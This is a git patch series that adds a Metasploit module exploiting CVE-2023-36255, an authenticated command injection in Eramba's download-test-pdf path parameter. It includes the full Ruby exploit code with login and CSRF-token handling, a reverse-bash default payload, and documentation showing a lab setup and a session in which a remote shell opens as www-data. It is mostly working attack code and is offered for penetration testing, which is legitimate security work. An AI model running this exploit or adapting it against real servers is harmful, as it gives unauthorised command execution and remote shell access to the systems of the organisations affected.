From 5bb5b40eee8f4551c098333f133651fd71511dca Mon Sep 17 00:00:00 2001 From: Stefan Pietsch Date: Tue, 24 Sep 2024 11:46:06 +0200 Subject: [PATCH 1/7] Add Eramba Remote Code Execution Exploit --- modules/auxiliary/scanner/http/eramba_rce.rb | 148 +++++++++++++++++++ 1 file changed, 148 insertions(+) create mode 100644 modules/auxiliary/scanner/http/eramba_rce.rb diff --git a/modules/auxiliary/scanner/http/eramba_rce.rb b/modules/auxiliary/scanner/http/eramba_rce.rb new file mode 100644 index 0000000000..7266639b2d --- /dev/null +++ b/modules/auxiliary/scanner/http/eramba_rce.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Eramba <=3.19.1 Remote Code Execution Exploit', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in Eramba. + An authenticated user can execute arbitrary commands on the server by + exploiting the path parameter in the download-test-pdf endpoint. + Eramba debug mode has to be enabled. + }, + 'Author' => [ + 'Trovent Security GmbH', + 'Sergey Makarov', # vulnerability discovery and exploit + 'Stefan Pietsch', # CVE and Advisory + 'Niklas Rubel' # MSF module + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + }, + 'References' => [ + ['CVE', '2023-36255'], + ['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt'] + ], + 'DisclosureDate' => '2023-08-01', + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']), + OptString.new('USERNAME', [ true, 'The username to authenticate with']), + OptString.new('PASSWORD', [ true, 'The password to authenticate with']), + OptString.new('COMMAND', [ true, 'The command to execute', 'whoami']), + ] + ) + end + + def get_csrf_token_and_cookies + print_status('Retrieving CSRF token and session cookies...') + redirect_path = "/settings/download-test-pdf?path=#{datastore['COMMAND']};" + login_url = normalize_uri(target_uri.path, "login?redirect=#{URI.encode_www_form_component(redirect_path)}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => login_url + }) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to retrieve the login page') + end + + doc = Nokogiri::HTML(res.body) + csrf_token = doc.at("input[name='_csrfToken']")['value'] + token_fields = doc.at("input[name='_Token[fields]']")['value'] + token_unlocked = doc.at("input[name='_Token[unlocked]']")['value'] + cookies = res.get_cookies + + print_status("CSRF Token: #{csrf_token}") + print_status("Token Fields: #{token_fields}") + print_status("Token Unlocked: #{token_unlocked}") + + return csrf_token, token_fields, token_unlocked, cookies + end + + def clean_cookies(cookies) + cleaned_cookies = cookies.split('; ').reject { |cookie| cookie.include?('PHPSESSID=deleted') } + cleaned_cookies.join('; ') + end + + def login_and_redirect(csrf_token, token_fields, token_unlocked, cookies) + redirect_path = "/settings/download-test-pdf?path=#{datastore['COMMAND']};" + login_url = normalize_uri(target_uri.path, "login?redirect=#{URI.encode_www_form_component(redirect_path)}") + + print_status('Attempting to log in and redirect to command execution page...') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => login_url, + 'cookie' => cookies, + 'vars_post' => { + '_csrfToken' => csrf_token, + 'login' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + '_Token[fields]' => token_fields, + '_Token[unlocked]' => token_unlocked, + '_Token[debug]' => '["/login",["login","password"],["modalId","","modalBreadcrumbs"]]' + } + }) + + if res && res.code == 302 + print_good('Login successful, redirected to command execution page.') + + new_cookies = clean_cookies(res.get_cookies) + print_status("Session Cookies after cleaning: #{new_cookies}") + + command_encoded = URI.encode_www_form_component(datastore['COMMAND'].to_s) + redirect_path = "/settings/download-test-pdf?path=#{command_encoded};" + redirect_url = normalize_uri(target_uri.path, redirect_path.to_s) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => redirect_url, + 'cookie' => new_cookies + }) + + print_good(redirect_url) + if res && res.code == 500 + print_good('Command executed successfully. Response content:') + extract_stdout(res.body) + else + fail_with(Failure::UnexpectedReply, 'Failed to execute command after redirect') + end + else + fail_with(Failure::UnexpectedReply, 'Login failed or redirect not received') + end + end + + def extract_stdout(response_body) + if response_body.include?('stdout:') + stdout_start = response_body.index('stdout: "') + 14 + stdout_end = response_body.index(""\ncommand:") || response_body.length + stdout_output = response_body[stdout_start...stdout_end].strip + print_line(stdout_output.to_s) + else + print_error('No stdout found in the response') + end + end + + def run + csrf_token, token_fields, token_unlocked, initial_cookies = get_csrf_token_and_cookies + login_and_redirect(csrf_token, token_fields, token_unlocked, initial_cookies) + end +end From 538cdc1d6f221e612e28b2b9387f4c7169d5fda4 Mon Sep 17 00:00:00 2001 From: Stefan Pietsch Date: Tue, 24 Sep 2024 13:02:32 +0200 Subject: [PATCH 2/7] remove Rank, fix title --- modules/auxiliary/scanner/http/eramba_rce.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/eramba_rce.rb b/modules/auxiliary/scanner/http/eramba_rce.rb index 7266639b2d..5371b7f137 100644 --- a/modules/auxiliary/scanner/http/eramba_rce.rb +++ b/modules/auxiliary/scanner/http/eramba_rce.rb @@ -4,14 +4,13 @@ ## class MetasploitModule < Msf::Auxiliary - Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, - 'Name' => 'Eramba <=3.19.1 Remote Code Execution Exploit', + 'Name' => 'Eramba (up to 3.19.1) Remote Code Execution Exploit', 'Description' => %q{ This module exploits a remote code execution vulnerability in Eramba. An authenticated user can execute arbitrary commands on the server by From 9886f78575e30ec728308d400b88a6a15f0bf657 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 13 Mar 2025 12:34:50 +0100 Subject: [PATCH 3/7] Upgrade Eramba RCE module --- .../modules/exploit/linux/http/eramba_rce.md | 139 ++++++++++++++++++ modules/exploits/linux/http/eramba_rce.rb | 133 +++++++++++++++++ 2 files changed, 272 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/eramba_rce.md create mode 100644 modules/exploits/linux/http/eramba_rce.rb diff --git a/documentation/modules/exploit/linux/http/eramba_rce.md b/documentation/modules/exploit/linux/http/eramba_rce.md new file mode 100644 index 0000000000..cfda582513 --- /dev/null +++ b/documentation/modules/exploit/linux/http/eramba_rce.md @@ -0,0 +1,139 @@ +## Vulnerable Application + +Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in [Docker format](https://www.eramba.org/learning/courses/12/episodes/274). However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (`docker-compose.simple-install.yml`): + +``` +version: '3.19' +services: + mysql: + container_name: mysql + image: mysql:8.0.28-oracle + command: ["mysqld", "--disable-log-bin"] + restart: always + volumes: + - db-data:/var/lib/mysql + - ./mysql/conf.d:/etc/mysql/conf.d + - ./mysql/entrypoint:/docker-entrypoint-initdb.d + environment: + MYSQL_DATABASE: ${DB_DATABASE} + MYSQL_USER: ${DB_USERNAME} + MYSQL_PASSWORD: ${DB_PASSWORD} + MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD} + redis: + container_name: redis + image: redis:6.0.16-alpine + restart: always + eramba: + container_name: eramba + image: ghcr.io/eramba/eramba:3.19.1 + restart: always + ports: + - 8443:443 + volumes: + - data:/var/www/eramba/app/upgrade/data + - app:/var/www/eramba + - logs:/var/www/eramba/app/upgrade/logs + - ./apache/ssl/mycert.crt:/etc/ssl/certs/mycert.crt + - ./apache/ssl/mycert.key:/etc/ssl/private/mycert.key + - ./apache/security.conf:/etc/apache2/conf-available/security.conf + - ./apache/ports.conf:/etc/apache2/ports.conf + - ./apache/vhost-ssl.conf:/etc/apache2/sites-available/000-default.conf + - ./crontab/crontab:/etc/cron.d/eramba-crontab + environment: + DB_HOST: ${DB_HOST} + DB_DATABASE: ${DB_DATABASE} + DB_USERNAME: ${DB_USERNAME} + DB_PASSWORD: ${DB_PASSWORD} + CACHE_URL: ${CACHE_URL} + USE_PROXY: ${USE_PROXY} + PROXY_HOST: ${PROXY_HOST} + PROXY_PORT: ${PROXY_PORT} + USE_PROXY_AUTH: ${USE_PROXY_AUTH} + PROXY_AUTH_USER: ${PROXY_AUTH_USER} + PROXY_AUTH_PASS: ${PROXY_AUTH_PASS} + PUBLIC_ADDRESS: ${PUBLIC_ADDRESS} + DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT} + LDAPTLS_REQCERT: ${LDAPTLS_REQCERT} + links: + - mysql + - redis + depends_on: + - mysql + cron: + container_name: cron + image: ghcr.io/eramba/eramba:3.19.1 + command: ["cron", "-f"] + entrypoint: ["/docker-cron-entrypoint.sh"] + restart: always + volumes: + - data:/var/www/eramba/app/upgrade/data + - app:/var/www/eramba + - logs:/var/www/eramba/app/upgrade/logs + - ./docker-cron-entrypoint.sh:/docker-cron-entrypoint.sh + - ./crontab/crontab:/etc/cron.d/eramba-crontab + - .env:/var/www/docker.env + environment: + DB_HOST: ${DB_HOST} + DB_DATABASE: ${DB_DATABASE} + DB_USERNAME: ${DB_USERNAME} + DB_PASSWORD: ${DB_PASSWORD} + CACHE_URL: ${CACHE_URL} + USE_PROXY: ${USE_PROXY} + PROXY_HOST: ${PROXY_HOST} + PROXY_PORT: ${PROXY_PORT} + USE_PROXY_AUTH: ${USE_PROXY_AUTH} + PROXY_AUTH_USER: ${PROXY_AUTH_USER} + PROXY_AUTH_PASS: ${PROXY_AUTH_PASS} + PUBLIC_ADDRESS: ${PUBLIC_ADDRESS} + DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT} + LDAPTLS_REQCERT: ${LDAPTLS_REQCERT} + links: + - mysql + - redis + - eramba + depends_on: + - eramba +volumes: + app: + data: + logs: + db-data: +``` + +## Verification Steps + +1. use exploit/linux/http/eramba_rce +2. set RHOSTS [target IP] +3. set LHOST [attacker's IP] +4. set USERNAME [username] +5. set PASSWORD [password] +6. exploit + +## Options + +- **USERNAME**: valid username for Eramba application (default: admin) +- **PASSWORD**: valid password for Eramba application (default: admin) + +## Scenarios + +``` +msf6 > use exploit/linux/http/eramba_rce +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(linux/http/eramba_rce)> set RHOSTS 192.168.95.145 +RHOSTS => 192.168.95.145 +msf6 exploit(linux/http/eramba_rce)> set LHOST 192.168.95.142 +LHOST => 192.168.95.142 +msf6 exploit(linux/http/eramba_rce)> set USERNAME admin +USERNAME => admin +msf6 exploit(linux/http/eramba_rce)> set PASSWORD P4ssw0rd! +PASSWORD => P4ssw0rd! +msf6 exploit(linux/http/eramba_rce) > exploit +[*] Started reverse TCP handler on 192.168.95.142:4444 +[*] Command shell session 1 opened (192.168.95.142:4444 -> 192.168.95.145:38460) at 2025-03-13 12:31:26 +0100 +id + +uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +``` + diff --git a/modules/exploits/linux/http/eramba_rce.rb b/modules/exploits/linux/http/eramba_rce.rb new file mode 100644 index 0000000000..e5cd9a1297 --- /dev/null +++ b/modules/exploits/linux/http/eramba_rce.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Eramba (up to 3.19.1) Authenticated Remote Code Execution Module', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in Eramba. + An authenticated user can execute arbitrary commands on the server by + exploiting the path parameter in the download-test-pdf endpoint. + Eramba debug mode has to be enabled. + }, + 'Author' => [ + 'Trovent Security GmbH', + 'Sergey Makarov', # vulnerability discovery and exploit + 'Stefan Pietsch', # CVE and Advisory + 'Niklas Rubel', # MSF module + 'msutovsky-r7' # MSF module + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + ], + 'DefaultTarget' => 0, + + 'References' => [ + ['CVE', '2023-36255'], + ['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt'] + ], + 'DisclosureDate' => '2023-08-01', + 'DefaultOptions' => { + 'RPORT' => 8443, + 'SSL' => true + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']), + OptString.new('USERNAME', [ true, 'The username to authenticate with']), + OptString.new('PASSWORD', [ true, 'The password to authenticate with']), + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/login') + }) + + return Exploit::CheckCode::Unknown unless res&.code == 200 + + html_body = res.get_html_document + version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text + return Exploit::CheckCode::Unknown unless version_html + + version = Rex::Version.new(version_html) + + return Exploit::CheckCode::Appears if version <= Rex::Version.new('3.19.1') + + return Exploit::CheckCode::Safe + end + + def exploit + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/login'), + 'keep_cookies' => true + }) + + html_body = res.get_html_document + csrf_token = html_body.at('input[@name="_csrfToken"]') + token_fields = html_body.at('input[@name="_Token[fields]"]') + token_unlocked = html_body.at('input[@name="_Token[unlocked]"]') + token_debug = html_body.at('input[@name="_Token[debug]"]') + + fail_with(Failure::UnexpectedReply, 'Couldn\'t parse tokens') unless token_fields && token_unlocked && token_debug && csrf_token + + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri('/login'), + 'keep_cookies' => true, + 'vars_post' => { + '_csrfToken' => csrf_token['value'], + 'login' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + '_Token[fields]' => token_fields['value'], + '_Token[unlocked]' => token_unlocked['value'], + '_Token[debug]' => token_debug['value'] + } + }) + + fail_with(Failure::UnexpectedReply, 'Failed to login') unless res&.code == 200 && res.body.include?('Landing Dashboard') + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/settings/download-test-pdf'), + 'vars_get' => + { + 'path' => "#{payload.encoded};" + } + }) + end +end From cac9b6e26b067db5ef29a1e7a67869cdd1c1b16a Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 13 Mar 2025 12:36:15 +0100 Subject: [PATCH 4/7] Removing auxiliary module --- modules/auxiliary/scanner/http/eramba_rce.rb | 147 ------------------- 1 file changed, 147 deletions(-) delete mode 100644 modules/auxiliary/scanner/http/eramba_rce.rb diff --git a/modules/auxiliary/scanner/http/eramba_rce.rb b/modules/auxiliary/scanner/http/eramba_rce.rb deleted file mode 100644 index 5371b7f137..0000000000 --- a/modules/auxiliary/scanner/http/eramba_rce.rb +++ /dev/null @@ -1,147 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Eramba (up to 3.19.1) Remote Code Execution Exploit', - 'Description' => %q{ - This module exploits a remote code execution vulnerability in Eramba. - An authenticated user can execute arbitrary commands on the server by - exploiting the path parameter in the download-test-pdf endpoint. - Eramba debug mode has to be enabled. - }, - 'Author' => [ - 'Trovent Security GmbH', - 'Sergey Makarov', # vulnerability discovery and exploit - 'Stefan Pietsch', # CVE and Advisory - 'Niklas Rubel' # MSF module - ], - 'License' => MSF_LICENSE, - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'SideEffects' => [IOC_IN_LOGS], - 'Reliability' => [] - }, - 'References' => [ - ['CVE', '2023-36255'], - ['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt'] - ], - 'DisclosureDate' => '2023-08-01', - 'DefaultOptions' => { - 'RPORT' => 443, - 'SSL' => true - } - ) - ) - - register_options( - [ - OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']), - OptString.new('USERNAME', [ true, 'The username to authenticate with']), - OptString.new('PASSWORD', [ true, 'The password to authenticate with']), - OptString.new('COMMAND', [ true, 'The command to execute', 'whoami']), - ] - ) - end - - def get_csrf_token_and_cookies - print_status('Retrieving CSRF token and session cookies...') - redirect_path = "/settings/download-test-pdf?path=#{datastore['COMMAND']};" - login_url = normalize_uri(target_uri.path, "login?redirect=#{URI.encode_www_form_component(redirect_path)}") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => login_url - }) - - unless res && res.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to retrieve the login page') - end - - doc = Nokogiri::HTML(res.body) - csrf_token = doc.at("input[name='_csrfToken']")['value'] - token_fields = doc.at("input[name='_Token[fields]']")['value'] - token_unlocked = doc.at("input[name='_Token[unlocked]']")['value'] - cookies = res.get_cookies - - print_status("CSRF Token: #{csrf_token}") - print_status("Token Fields: #{token_fields}") - print_status("Token Unlocked: #{token_unlocked}") - - return csrf_token, token_fields, token_unlocked, cookies - end - - def clean_cookies(cookies) - cleaned_cookies = cookies.split('; ').reject { |cookie| cookie.include?('PHPSESSID=deleted') } - cleaned_cookies.join('; ') - end - - def login_and_redirect(csrf_token, token_fields, token_unlocked, cookies) - redirect_path = "/settings/download-test-pdf?path=#{datastore['COMMAND']};" - login_url = normalize_uri(target_uri.path, "login?redirect=#{URI.encode_www_form_component(redirect_path)}") - - print_status('Attempting to log in and redirect to command execution page...') - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => login_url, - 'cookie' => cookies, - 'vars_post' => { - '_csrfToken' => csrf_token, - 'login' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - '_Token[fields]' => token_fields, - '_Token[unlocked]' => token_unlocked, - '_Token[debug]' => '["/login",["login","password"],["modalId","","modalBreadcrumbs"]]' - } - }) - - if res && res.code == 302 - print_good('Login successful, redirected to command execution page.') - - new_cookies = clean_cookies(res.get_cookies) - print_status("Session Cookies after cleaning: #{new_cookies}") - - command_encoded = URI.encode_www_form_component(datastore['COMMAND'].to_s) - redirect_path = "/settings/download-test-pdf?path=#{command_encoded};" - redirect_url = normalize_uri(target_uri.path, redirect_path.to_s) - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => redirect_url, - 'cookie' => new_cookies - }) - - print_good(redirect_url) - if res && res.code == 500 - print_good('Command executed successfully. Response content:') - extract_stdout(res.body) - else - fail_with(Failure::UnexpectedReply, 'Failed to execute command after redirect') - end - else - fail_with(Failure::UnexpectedReply, 'Login failed or redirect not received') - end - end - - def extract_stdout(response_body) - if response_body.include?('stdout:') - stdout_start = response_body.index('stdout: "') + 14 - stdout_end = response_body.index(""\ncommand:") || response_body.length - stdout_output = response_body[stdout_start...stdout_end].strip - print_line(stdout_output.to_s) - else - print_error('No stdout found in the response') - end - end - - def run - csrf_token, token_fields, token_unlocked, initial_cookies = get_csrf_token_and_cookies - login_and_redirect(csrf_token, token_fields, token_unlocked, initial_cookies) - end -end From df027f3fdd04000cb7e2e4ef449985a25d537eb0 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 20 Mar 2025 15:18:55 +0100 Subject: [PATCH 5/7] Update documentation, adding more precise check, removing unnecessary characters --- .../modules/exploit/linux/http/eramba_rce.md | 9 +++++++-- modules/exploits/linux/http/eramba_rce.rb | 12 +++++++----- 2 files changed, 14 insertions(+), 7 deletions(-) diff --git a/documentation/modules/exploit/linux/http/eramba_rce.md b/documentation/modules/exploit/linux/http/eramba_rce.md index cfda582513..7cbd32e833 100644 --- a/documentation/modules/exploit/linux/http/eramba_rce.md +++ b/documentation/modules/exploit/linux/http/eramba_rce.md @@ -111,8 +111,13 @@ volumes: ## Options -- **USERNAME**: valid username for Eramba application (default: admin) -- **PASSWORD**: valid password for Eramba application (default: admin) +### USERNAME + +A valid username for Eramba application + +### PASSWORD + +A valid password for Eramba application ## Scenarios diff --git a/modules/exploits/linux/http/eramba_rce.rb b/modules/exploits/linux/http/eramba_rce.rb index e5cd9a1297..ee3d8cac08 100644 --- a/modules/exploits/linux/http/eramba_rce.rb +++ b/modules/exploits/linux/http/eramba_rce.rb @@ -65,8 +65,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']), - OptString.new('USERNAME', [ true, 'The username to authenticate with']), - OptString.new('PASSWORD', [ true, 'The password to authenticate with']), + OptString.new('USERNAME', [ true, 'The username to authenticate with', 'admin']), + OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin']), ] ) end @@ -83,11 +83,13 @@ class MetasploitModule < Msf::Exploit::Remote version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text return Exploit::CheckCode::Unknown unless version_html + return Exploit::CheckCode::Safe('Debug mode not enabled.') unless html_body.at('input[@name="_Token[debug]"]') + version = Rex::Version.new(version_html) - return Exploit::CheckCode::Appears if version <= Rex::Version.new('3.19.1') + return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1') - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.") end def exploit @@ -126,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri('/settings/download-test-pdf'), 'vars_get' => { - 'path' => "#{payload.encoded};" + 'path' => payload.encoded.to_s } }) end From d922976ea472b29a6b1d1b2e201bf9af98d53886 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 20 Mar 2025 19:54:57 +0100 Subject: [PATCH 6/7] Adding more clear installation steps --- .../modules/exploit/linux/http/eramba_rce.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/documentation/modules/exploit/linux/http/eramba_rce.md b/documentation/modules/exploit/linux/http/eramba_rce.md index 7cbd32e833..af69a60fc7 100644 --- a/documentation/modules/exploit/linux/http/eramba_rce.md +++ b/documentation/modules/exploit/linux/http/eramba_rce.md @@ -2,6 +2,14 @@ Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in [Docker format](https://www.eramba.org/learning/courses/12/episodes/274). However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (`docker-compose.simple-install.yml`): +### Installation + +Docker and docker-compose is required. + +1. git clone https://github.com/eramba/docker +2. cd docker +3. Setup database credentials and public URL in `.env` +4. Copy following into `docker-compose.simple-install.yml` ``` version: '3.19' services: @@ -100,6 +108,11 @@ volumes: db-data: ``` +5. `docker compose -f docker-compose.simple-install.yml up -d` + +Shut down: `docker compose -f docker-compose.simple-install.yml down` + + ## Verification Steps 1. use exploit/linux/http/eramba_rce From 95f9e22effc7ea9e14d884c015c184e92bec359f Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 20 Mar 2025 20:46:38 +0100 Subject: [PATCH 7/7] Addressing comments --- modules/exploits/linux/http/eramba_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/eramba_rce.rb b/modules/exploits/linux/http/eramba_rce.rb index ee3d8cac08..f27055778a 100644 --- a/modules/exploits/linux/http/eramba_rce.rb +++ b/modules/exploits/linux/http/eramba_rce.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( @@ -37,11 +38,10 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => [ARCH_CMD], 'Targets' => [ [ - 'Unix Command', + 'Command', { - 'Platform' => 'unix', + 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, - 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }